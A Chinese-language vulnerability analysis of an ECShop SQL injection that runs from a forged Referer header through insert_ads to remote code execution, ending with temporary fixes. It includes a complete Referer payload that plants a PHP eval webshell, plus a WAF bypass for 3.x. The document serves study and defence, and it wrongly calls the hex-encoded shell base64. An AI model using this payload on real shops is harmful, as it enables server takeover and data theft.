ecshop全系列SQL注入漏洞分析
字数 1623 2025-08-11 01:06:30

ECSHOP全系列SQL注入漏洞分析与利用教学文档

漏洞概述

ECShop是一款基于PHP语言及MySQL数据库开发的B2C独立网店系统,最新版本为3.6.0。该漏洞影响ECShop全系列版本,攻击者可通过构造恶意请求实现SQL注入,最终导致远程任意命令执行。

漏洞原理

漏洞主要存在于user.php文件的login响应中,由于display函数的参数可被攻击者控制,导致SQL注入漏洞。具体流程如下:

  1. login响应将http_referer的值赋给$back_act,而referer参数可被攻击者控制
  2. assign函数将$back_act变量值赋给back_act
  3. Smarty模板引擎将back_act的值赋给模板文件user_passport.dwt
  4. display读取user_passport.dwt文件内容,过滤后输出结果

漏洞利用链详细分析

1. 输入控制点

攻击者可以通过控制HTTP请求中的Referer头来注入恶意代码,因为:

  • user.php中的login函数会将$_SERVER['HTTP_REFERER']赋值给$back_act
  • 该值未经充分过滤就被传递到后续处理流程

2. 模板处理流程

  1. display函数经过以下调用链:
    fetch -> make_compiled -> file_get_contents -> fetch_str -> smarty_prefilter_preCompile -> select
    
  2. 取出HTML中的值$out,其中包含referer的内容
  3. $out通过_echash变量(代码中写死的值)进行切割
  4. referer的payload被切割成$val

3. 动态内容处理

  1. insert_mod函数处理动态内容$val

    • |划分$val
    • $paraunserialize反序列化得到
    • 动态调用$fun($para),即insert_ads($para)
  2. insert_ads函数存在SQL注入漏洞:

    • 直接将idnum的值拼接到SQL语句中
    • 攻击者可构造id="'/*"来拼接a.posttion_id的单引号
    • /*num配合注释掉order by num中的*/
    • id/*配合注释order by
    • 通过union联合查询在数据库中解析

4. 命令执行实现

  1. position_style经拼接重新到fetch
    fetch -> fetch_str
    
  2. 将匹配到的字符传输至select函数处理
  3. select函数调用链:
    select -> get_val -> make_var
    
  4. 最终匹配结果返回至fetch_str,供_eval调用,导致任意命令执行

漏洞利用方法

针对ECShop 2.x版本

  1. 构造恶意Referer头,包含以下内容:
    554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b6576616c2f2a2a2f28245f504f53545b313333375d293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
    
  2. 其中包含base64编码的一句话木马:<?php eval($_POST[1337]); ?>
  3. 执行后会在服务器上创建1.php文件

针对ECShop 3.x版本

3.x版本添加了WAF,过滤了union select,绕过方法:

  1. unionselect这两个词放在idnum的值里
  2. 同时修改_echash的值

漏洞利用总结

  1. referer值未加判断直接引用,可被攻击者控制输入
  2. 利用_echash = "554fcae493e564ee0dc75bdf2ebf94ca"为定值进行切分,构造payload
  3. 利用反序列化漏洞,构造payload传输恶意代码
  4. insert_ads函数的SQL拼接不规范导致存在SQL注入
  5. make_val函数拼接字符串输入,_eval中调用用户输入通过eval最终导致任意命令执行

临时修复方案

由于ECShop官方尚未发布修复补丁,可采取以下临时措施:

  1. insert_ads函数的numid参数进行intval处理
  2. Referer头进行严格过滤和验证
  3. 禁用或限制Smarty模板引擎的动态函数调用功能

参考链接

  1. 阿里云漏洞分析
  2. CSDN相关分析
ECSHOP全系列SQL注入漏洞分析与利用教学文档 漏洞概述 ECShop是一款基于PHP语言及MySQL数据库开发的B2C独立网店系统,最新版本为3.6.0。该漏洞影响ECShop全系列版本,攻击者可通过构造恶意请求实现SQL注入,最终导致远程任意命令执行。 漏洞原理 漏洞主要存在于 user.php 文件的 login 响应中,由于 display 函数的参数可被攻击者控制,导致SQL注入漏洞。具体流程如下: login 响应将 http_referer 的值赋给 $back_act ,而 referer 参数可被攻击者控制 assign 函数将 $back_act 变量值赋给 back_act Smarty模板引擎将 back_act 的值赋给模板文件 user_passport.dwt display 读取 user_passport.dwt 文件内容,过滤后输出结果 漏洞利用链详细分析 1. 输入控制点 攻击者可以通过控制HTTP请求中的 Referer 头来注入恶意代码,因为: user.php 中的 login 函数会将 $_SERVER['HTTP_REFERER'] 赋值给 $back_act 该值未经充分过滤就被传递到后续处理流程 2. 模板处理流程 display 函数经过以下调用链: 取出HTML中的值 $out ,其中包含 referer 的内容 $out 通过 _echash 变量(代码中写死的值)进行切割 referer 的payload被切割成 $val 3. 动态内容处理 insert_mod 函数处理动态内容 $val : 以 | 划分 $val $para 经 unserialize 反序列化得到 动态调用 $fun($para) ,即 insert_ads($para) insert_ads 函数存在SQL注入漏洞: 直接将 id 和 num 的值拼接到SQL语句中 攻击者可构造 id="'/*" 来拼接 a.posttion_id 的单引号 /* 与 num 配合注释掉 order by num 中的 */ id/* 配合注释 order by 通过 union 联合查询在数据库中解析 4. 命令执行实现 position_style 经拼接重新到 fetch : 将匹配到的字符传输至 select 函数处理 select 函数调用链: 最终匹配结果返回至 fetch_str ,供 _eval 调用,导致任意命令执行 漏洞利用方法 针对ECShop 2.x版本 构造恶意 Referer 头,包含以下内容: 其中包含base64编码的一句话木马: <?php eval($_POST[1337]); ?> 执行后会在服务器上创建 1.php 文件 针对ECShop 3.x版本 3.x版本添加了WAF,过滤了 union select ,绕过方法: 将 union 和 select 这两个词放在 id 和 num 的值里 同时修改 _echash 的值 漏洞利用总结 referer 值未加判断直接引用,可被攻击者控制输入 利用 _echash = "554fcae493e564ee0dc75bdf2ebf94ca" 为定值进行切分,构造payload 利用反序列化漏洞,构造payload传输恶意代码 insert_ads 函数的SQL拼接不规范导致存在SQL注入 make_val 函数拼接字符串输入, _eval 中调用用户输入通过 eval 最终导致任意命令执行 临时修复方案 由于ECShop官方尚未发布修复补丁,可采取以下临时措施: 对 insert_ads 函数的 num 和 id 参数进行 intval 处理 对 Referer 头进行严格过滤和验证 禁用或限制Smarty模板引擎的动态函数调用功能 参考链接 阿里云漏洞分析 CSDN相关分析